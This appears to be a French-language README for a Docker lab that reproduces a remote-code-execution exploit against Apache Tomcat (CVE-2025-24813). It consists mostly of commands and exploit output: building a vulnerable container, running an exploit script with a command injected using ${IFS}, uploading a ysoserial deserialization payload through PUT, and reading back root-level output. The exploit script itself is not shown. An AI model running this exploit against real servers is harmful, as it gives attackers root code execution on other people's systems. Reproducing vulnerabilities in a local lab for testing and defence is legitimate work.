
A playground to test the RCE exploit for tomcat CVE-2025-24813
L'exploit a été forké depuis https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md (n'a pas fonctionné pour moi)
Construire et exécuter l'installation Tomcat vulnérable
$ docker build -t tomcat-cve-2025-24813 .
$ docker run --name tomcat-cve-2025-24813 -it -d -p 8080:8080 tomcat-cve-2025-24813
$ python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN' http://localhost:8080
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
---=== TOMCAT RCE PLAYGROUND by u238 ===---
[*] Session ID: u238
[+] Le serveur est accessible en écriture via PUT : http://localhost:8080/check.txt
[*] Génération de la charge utile ysoserial pour la commande : bash -c echo${IFS}$(id)>/tmp/PWN
[+] Charge utile générée avec succès : payload.ser
[+] Charge utile téléversée avec le statut 409 (Conflit) : http://localhost:8080/u238.session
[+] Exploit réussi ! Le serveur a renvoyé 500 après la désérialisation.
[+] La cible http://localhost:8080 est vulnérable à CVE-2025-24813 !
[+] Fichier temporaire supprimé : payload.ser
$ podman exec tomcat-cve-2025-24813 cat /tmp/PWN
uid=0(root) gid=0(root) groups=0(root)